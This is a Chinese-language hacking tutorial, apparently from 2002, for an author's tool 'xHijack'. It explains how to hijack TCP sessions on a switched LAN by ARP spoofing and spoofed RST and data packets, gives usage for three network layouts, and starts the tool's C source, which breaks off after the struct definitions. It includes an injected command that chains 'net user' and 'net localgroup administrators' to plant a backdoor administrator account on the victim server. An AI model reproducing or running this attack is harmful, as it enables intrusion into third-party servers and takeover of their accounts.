第一步是开启IP Routing的功能,修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
第二步是ARP欺骗,具体原理我就不说了。
第三步就是开始劫持啦。
我写了个程序xHijack可以实现第二、三步功能,使用如下:
Usage: xHijack ServerSide ClientSide
下面根据三种不同的情况分别说明如何输入参数:
服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
c:\xHijack 192.168.0.2 192.168.0.3
劫持前数据流程:server client
劫持后数据流程:server hijacker client
服务器、劫持者处于同一局域网,客户端处于别的网络。
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程:server gw routes client
劫持后数据流程:server hijacker gw routes client
客户端、劫持者处于同一局域网,服务器处于别的网络。
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程:client gw routes server
劫持后数据流程:client hijacker gw routes server
输入两个参数后,会提示你选择网卡,然后会提示
l
r x
w x
h x command
list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令,输入
xHijackh 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
劫持的流程如下:
伪装成Server给Client发一个rst包
伪装成Client给Server发了一个数据包
Server回一个ACK包给client
因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
这样的话,我们只能发一个伪造的包,但我想已经足够了。
想要一直劫持那个连接也可以,如下
伪装成Server给Client发一个rst包
欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
伪装成Client给Server发了一个数据包
Server回一个ACK包给client
Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
还请各位多多指点。
BTW:我没有空间,编译好的程序没地方放:(
参考资料
交换环境下的会话劫持 http://www.xfocus.net/article_view.php?id=375
交换网络中的嗅探和ARP欺骗 http://www.xfocus.net/article_view.php?id=377
以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File : xHijack.c
Version : 1.0
Create at : 2002/8/12
Last modifed at : 2002/8/19
Author : eyas
Email : ey4s@21cn.com
HomePage : www.ey4s.org
感谢refdom和shotgun发布的源代码,使我获益非浅。
If you modify the code, or add more functions, please email me a copy.
备注:
没有考虑IP头、TCP头超过20字节的情况
没有考虑数据包分片的情况
没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。
也许下一版本会修正这些问题,也许不会有下一版本了。
-----------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#include
#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")
#define Max_Num_Adapter 10
#define Max_Num_IPAddr 5
#define EPT_IP 0x0800 /* type: IP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define EPT_ARP 0x0806 /* type: ARP */
#define ACTION_NONE 0
#define ACTION_WATCH 1
#define ACTION_RESET 2
#define ACTION_HIJACK 3
/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
unsigned char DestMAC[6];
unsigned char SourceMAC[6];
unsigned short EthernetType;
}EHHDR, *PEHHDR;
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHDR, *PIPHDR;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;
typedef struct _psdhdr //定义TCP pseudo header
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHDR, *PPSDHDR;
typedef struct _arphdr
{
unsigned short HrdType;//硬件类型
unsigned short ProType;//协议类型
unsigned char HrdAddrlen;//硬件地址长度
unsigned char ProAddrLen;//协议地址长度
unsigned short op;//operation
unsigned char SourceMAC[6];/* sender hardware address */
unsigned long SourceIP;/* sender protocol address */
unsigned char DestMAC[6];/* target hardware address */
unsigned long DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct _ArpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
}ARPPACKET, *PARPPACKET;
typedef struct _tcppacket
{
EHHDR ehhdr;
IPHDR iphdr;
TCPHDR tcphdr;
}TCPPACKET, *PTCPPACKET;
typedef struct _conninfo
{
DWORD dwServerIP;
USHORT uServerPort;
DWORD dwClientIP;
USHORT uClientPort;
DWORD ident;//标识
BOOL bActive;
struct _conninfo *Next;
}CONNINFO, *PCONNINFO;
//定义全局变量
unsigned int g_ServerSideIP,
g_ClientSideIP,
g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
g_TotalIP = 0;//
unsigned char g_szOwnMAC[6];//本机MAC地址
unsigned char g_szClientSideMAC[6];
unsigned char g_szServerSideMAC[6];
char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread,